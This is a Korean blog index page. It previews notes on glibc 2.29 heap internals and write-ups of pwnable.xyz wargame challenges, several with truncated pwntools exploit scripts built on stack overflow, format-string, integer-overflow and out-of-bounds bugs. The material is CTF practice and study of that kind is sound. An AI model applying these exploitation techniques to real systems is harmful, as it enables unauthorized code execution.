본문 바로가기

전체 글

(185)
(glibc 2.29) free 2.26버전과 동일하다
pwnable.xyz / J-U-M-P 스택 주소를 릭할 수 있고 rbp를 1byte overwrite할 수 있다 rbp 계산 잘해서 rbp-0x11을 1byte변조해서 win함수로 만들고 rbp-0x8로 이동해서 그쪽으로 jmp하도록 하면된다 로컬에서는 되는데 리모트에서는 안된다... ubuntu 18.04로 해보면 익스가 되는데 오프셋 차이인 것 같다 ubntu 20.02 from pwn import * #context.log_level = "debug" #p = remote("svc.pwnable.xyz", 30012) p = process("./j-u-m-p") #gdb.attach(p) def ovr_data(data): p.recvuntil(b"> ") p.send(data) def st_leak(): p.recvuntil(b"> ..
(glibc 2.29) _int_malloc glibc 2.26버전에 대한 이해가 있다라고 가정하고 바뀐 코드 위주로 정리할 것이다 각 소제목에 해당되는 상세 설명은 각 리스트 아래 더보기 참고 전체 코드는 아래 더보기 더보기 인자 및 변수 (삭제) 변경 및 추가된 코드 errstr변수 삭제 더보기 const char *errstr = NULL; 이전에 버전에서 에러 문자열을 저장하는 errstr을 더 이상 사용하지 않는다 initical check (동일) glibc 2.26버전과 동일 fastbin (변경, 추가) 변경 및 추가된 코드 초기에 REMOVE_FB 매크로로 vicitm에 값을 저장하는 것이 아닌 *fb로 최상단 청크를 저장 fastbinsY를 갱신과 freed chunk 재사용을 하기 전에 freed chunk가 있는지 검사 fas..
pwnable.xyz / sus 스택을 잘못써서 참조하는 주소를 덮을 수 있다 user를 생성해서 이름과 나이를 입력 받고 이를 출력하고 수정할 수 있는 기능이 있다 출력 및 수정 기능은 user가 생성되었을 때만 가능하다 create_user 0x1060만큼 스택을 뽑고 거기에 0x20 데이터를 쓴다 cur에 힙 주소가 저장된 스택 주소를 저장한다 edit user 0x1028만큼 스택을 뽑는다 cur에 저장된 스택 주소에 있는 힙주소에 이름을 적는다 read_int32를 호출해서 나이를 입력 받는다 read_int32 0x30을 뽑아서 0x20데이터를 쓰고 atoi로 숫자로 변환해 리턴한다 위 내용은 문제 풀때 짤막하게 정리해놓은 내용이다 핵심은 create_user에서 스택을 0x1060 뺀 위치에 힙주소를 저장하는데 해당 주소를..
pwnable.xyz / fspoo 쉬운 문제였는데 시력에 문제가 있는지 while문 처음에 printf로 fsb가 터지는걸 못봤다 while문 처음에 fsb가 터진다 이후에 prep msg를 통해 cmd[32]를 덮어서 fsb를 터트릴 수 있지만 매우 제한적이다 v1(v1)을 통해 입력을 받고 1byte만 검사하기 때문에 메모리 릭하고 이 값에 원하는 주소를 넣으면 fsb를 통해 aaw가 가능하다 ret주소가의 하위 1byte만 조작하면 win함수로 변경이 가능해서 스택 주소 하나 릭해서 ret주소가 저장된 스택주소를 v1에 저장하고 fsb를 통해 하위 1byte만 조작해서 ret가 win함수가 되도록했다 빨간색 표시가 scanf로 입력한 값이고 초록색 표시가 ret주소다 1byte만 변조하여 ret주소가 win함수가 되도록하였다 fro..
pwnable.xyz / Game 게임 시작 ( play_game ) 게임 저장 ( save_game ) 이름 수정 ( edit_name ) 맞추면 점수가 1 증가하고 틀리면 1감소한다 새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다 strlen으로 길이를 구해서 이름을 수정한다 name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다 score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다 from pwn import * p = process("./Game") #gdb.attach(p) def play_game(): p.recvuntil(b"> ") p.sendline(b"1") p.recvunt..
pwnable.xyz / l33t-ness 1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다 x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다 x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다 5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다 다 0으로 주면 된다 from pwn import * p = process("./l33t-ness") def round_1(x, y): p.recvuntil(b"x: ") p.sendline(str(x)) p.recvuntil(b"y: ") p.sendline(str(y)) def round_2(x, y): p.recvuntil(b"===\n") p.sendline(s..
pwnable.xyz / Jmp table 힙 할당 힙 해제 쓰기 읽기 exit 각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다 size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다 from pwn import * p = process("./jmp_table") def do_malloc(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size: ") p.sendline(str(length)) do_malloc(0x400A31) p.recvuntil(b"> ") p.sendline(b"-2") p.interactive()